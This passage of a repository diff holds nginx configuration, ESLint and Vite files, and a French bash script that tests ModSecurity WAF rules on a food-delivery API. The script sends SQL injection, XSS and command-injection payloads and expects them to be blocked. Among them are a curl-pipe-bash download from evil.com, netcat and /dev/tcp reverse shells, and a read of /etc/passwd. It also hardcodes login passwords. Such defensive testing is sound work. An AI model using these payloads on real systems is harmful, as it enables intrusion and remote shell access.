add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Access-Control-Max-Age' 86400 always;
add_header 'Content-Length' 0;
add_header 'Content-Type' 'text/plain charset=UTF-8';
return 204;
}
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme; # Changé
proxy_set_header X-Request-ID $req_id;
proxy_set_header Connection "";
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
location / {
try_files $uri $uri/ /index.html;
add_header Cache-Control "no-cache, no-store, must-revalidate" always;
add_header Pragma "no-cache" always;
add_header Expires "0" always;
}
location ~* \.(css|js|jpg|jpeg|png|gif|svg|ico|woff2?|ttf|eot)$ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off;
}
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://api.tomtom.com;
" always;
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
location ~* (\.env|\.git|package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose\.yml)$ {
deny all;
access_log off;
log_not_found off;
}
}
+610
View File
@@ -0,0 +1,610 @@
#!/bin/bash
# =============================================================================
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
# =============================================================================
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
# Usage: ./test-rules.sh
# =============================================================================
# Couleurs pour l'affichage
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
BOLD='\033[1m'
# Configuration
API_BASE_URL="http://172.20.167.237"
# Credentials Client
CLIENT_USERNAME="salut"
CLIENT_PASSWORD="salut1234_"
CLIENT_TOKEN=""
# Credentials Admin
ADMIN_USERNAME="admin_1768505094"
ADMIN_PASSWORD="AdminPass123!"
ADMIN_TOKEN=""
TOTAL_TESTS=0
PASSED_TESTS=0
FAILED_TESTS=0
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
# =============================================================================
# Fonctions Utilitaires
# =============================================================================
print_header() {
echo -e "\n${BOLD}${CYAN}========================================${NC}"
echo -e "${BOLD}${CYAN}$1${NC}"
echo -e "${BOLD}${CYAN}========================================${NC}\n"
}
print_section() {
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
}
print_test() {
echo -e "${YELLOW}[TEST] $1${NC}"
}
print_success() {
((PASSED_TESTS++))
((TOTAL_TESTS++))
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
}
print_fail() {
((FAILED_TESTS++))
((TOTAL_TESTS++))
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
}
print_info() {
echo -e "${CYAN} INFO${NC} - $1"
}
print_warning() {
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
}
print_response() {
echo -e "${PURPLE}📄 Response:${NC} $1"
}
# Fonction pour effectuer une requête HTTP avec token client
http_test_client() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP avec token admin
http_test_admin() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
echo "$body"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP sans authentification
http_test_no_auth() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# =============================================================================
# Authentification
# =============================================================================
authenticate() {
print_header "AUTHENTIFICATION"
# ==================== CLIENT LOGIN ====================
print_section "1. Login Client"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
"${API_BASE_URL}/api/v1/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$CLIENT_TOKEN" ]; then
print_success "Login Client réussi - Token obtenu"
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
else
print_fail "Login Client réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Client (HTTP $http_code)"
print_response "$body"
exit 1
fi
# ==================== ADMIN LOGIN ====================
print_section "2. Login Admin"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
"${API_BASE_URL}/api/v2/admin/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$ADMIN_TOKEN" ]; then
print_success "Login Admin réussi - Token obtenu"
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
else
print_fail "Login Admin réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Admin (HTTP $http_code)"
print_response "$body"
exit 1
fi
}
# =============================================================================
# Tests SQL Injection
# =============================================================================
test_sql_injection() {
print_header "TESTS SQL INJECTION"
print_section "1. SQL Injection - Login"
# Test 1: SQL Injection classique dans login client
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Client OR 1=1"
# Test 2: SQL Injection dans login admin
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Admin OR 1=1"
# Test 3: SQL Injection avec UNION
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
403 "SQLi - UNION SELECT"
# Test 4: SQL Injection avec DROP TABLE
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
403 "SQLi - DROP TABLE"
# Test 5: SQL Injection avec commentaire
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''--","password":"test"}' \
403 "SQLi - Commentaire SQL --"
print_section "2. SQL Injection - Panier"
# Test 6: SQL Injection dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
403 "SQLi - Panier name_product"
# Test 7: SQL Injection dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
403 "SQLi - Panier category"
print_section "3. SQL Injection - Admin"
# Test 8: SQL Injection dans username pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
403 "SQLi - Username pénalité"
# Test 9: SQL Injection dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
"" \
403 "SQLi - Paramètres commandes"
# Test 10: SQL Injection dans ID commande
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
"" \
403 "SQLi - ID commande"
# Test 11: SQL Injection dans username livreur
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
"" \
403 "SQLi - Username livreur"
print_section "4. SQL Injection - Commandes Client"
# Test 12: SQL Injection dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
403 "SQLi - Adresse checkout"
# Test 13: SQL Injection nom produit admin
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
403 "SQLi - Nom produit admin"
print_section "5. SQL Injection - Variantes avancées"
# Test 14: SQL Injection avec AND
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
403 "SQLi - AND condition"
# Test 15: SQL Injection avec encodage hex
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
403 "SQLi - Encodage hex"
# Test 16: SQL Injection avec SLEEP (Time-based)
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
403 "SQLi - Time-based SLEEP"
# Test 17: SQL Injection avec BENCHMARK
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
403 "SQLi - BENCHMARK"
# Test 18: SQL Injection avec sous-requête
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
403 "SQLi - Sous-requête"
}
# =============================================================================
# Tests XSS (Cross-Site Scripting)
# =============================================================================
test_xss() {
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
print_section "1. XSS - Login"
# Test 1: XSS basique avec script tag
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<script>alert(1)</script>","password":"test"}' \
403 "XSS - Script tag basique"
# Test 2: XSS avec event handler
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
403 "XSS - Event handler onerror"
# Test 3: XSS avec SVG
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<svg onload=alert(1)>","password":"test"}' \
403 "XSS - SVG onload"
print_section "2. XSS - Panier"
# Test 4: XSS dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
403 "XSS - Panier name_product"
# Test 5: XSS dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
403 "XSS - Panier category"
print_section "3. XSS - Admin"
# Test 6: XSS dans raison pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
400 "XSS - Raison pénalité"
# Test 7: XSS dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
"" \
403 "XSS - Paramètres commandes"
# Test 8: XSS dans description produit
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
403 "XSS - Description produit"
print_section "4. XSS - Commandes Client"
# Test 9: XSS dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"<script>alert(1)</script>"}' \
403 "XSS - Adresse checkout"
# Test 10: XSS dans commentaire approbation
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
403 "XSS - Commentaire approbation"
# Test 11: XSS dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"<script>alert(1)</script>"}' \
403 "XSS - Raison annulation"
print_section "5. XSS - Variantes avancées"
# Test 12: XSS avec iframe
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
403 "XSS - iframe javascript"
# Test 13: XSS avec body onload
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<body onload=alert(1)>","password":"test"}' \
403 "XSS - body onload"
# Test 14: XSS avec input autofocus
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
403 "XSS - input autofocus"
# Test 15: XSS avec marquee
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
403 "XSS - marquee onstart"
# Test 16: XSS avec details/summary
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
403 "XSS - details ontoggle"
# Test 17: XSS avec javascript: protocol
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
403 "XSS - javascript protocol"
# Test 18: XSS avec data: URI
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
403 "XSS - data URI"
# Test 19: XSS encodé HTML
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"&lt;script&gt;alert(1)&lt;/script&gt;","password":"test"}' \
403 "XSS - Encodage HTML entities"
# Test 20: XSS avec polyglotte
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
403 "XSS - Polyglotte"
}
# =============================================================================
# Tests RCE (Remote Code Execution)
# =============================================================================
test_rce() {
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
print_section "1. RCE - Command Injection basique"
# Test 1: Command substitution avec $()
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
403 "RCE - Command substitution"
# Test 2: Command substitution avec backticks
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
403 "RCE - Command substitution backticks"
# Test 3: Pipe command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
403 "RCE - Pipe command"
# Test 4: Semicolon command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
403 "RCE - Semicolon chaining"
# Test 5: AND command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
403 "RCE - AND chaining"
# Test 6: OR command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
403 "RCE - OR chaining"
print_section "2. RCE - Commandes système dangereuses"
# Test 7: cat /etc/passwd
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
403 "RCE - cat /etc/passwd"
# Test 8: ls command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
403 "RCE - ls command"
# Test 9: wget command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
403 "RCE - wget download"
# Test 10: curl command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
403 "RCE - curl pipe bash"
# Test 11: nc (netcat) reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
403 "RCE - netcat reverse shell"
# Test 12: bash reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
403 "RCE - bash reverse shell"
print_section "3. RCE - Dans autres endpoints"
# Test 13: RCE dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"$(whoami)"}' \
403 "RCE - Adresse checkout"
# Test 14: RCE dans login
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"$(id)","password":"test"}' \
403 "RCE - Login username"
# Test 15: RCE dans commentaire
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"$(uname -a)"}' \
403 "RCE - Commentaire approbation"
# Test 16: RCE dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"$(pwd)"}' \
403 "RCE - Raison annulation"
print_section "4. RCE - Python/Perl/Ruby injection"
# Test 17: Python code execution
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - Python import os"
# Test 18: eval() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - eval injection"
# Test 19: exec() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - exec injection"
# Test 20: system() call
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - system call"
}
main() {
# Exécution des tests
authenticate
test_rce
test_xss
test_sql_injection
http_test_no_auth
}
main
+23
View File
@@ -0,0 +1,23 @@
import js from '@eslint/js'
import globals from 'globals'
import reactHooks from 'eslint-plugin-react-hooks'
import reactRefresh from 'eslint-plugin-react-refresh'
import tseslint from 'typescript-eslint'
import { defineConfig, globalIgnores } from 'eslint/config'
export default defineConfig([
globalIgnores(['dist']),
{
files: ['**/*.{ts,tsx}'],
extends: [
js.configs.recommended,
tseslint.configs.recommended,
reactHooks.configs.flat.recommended,
reactRefresh.configs.vite,
],
languageOptions: {
ecmaVersion: 2020,
globals: globals.browser,
},
},
])
+17
View File
@@ -0,0 +1,17 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<title>projet</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

Some files were not shown because too many files have changed in this diff Show More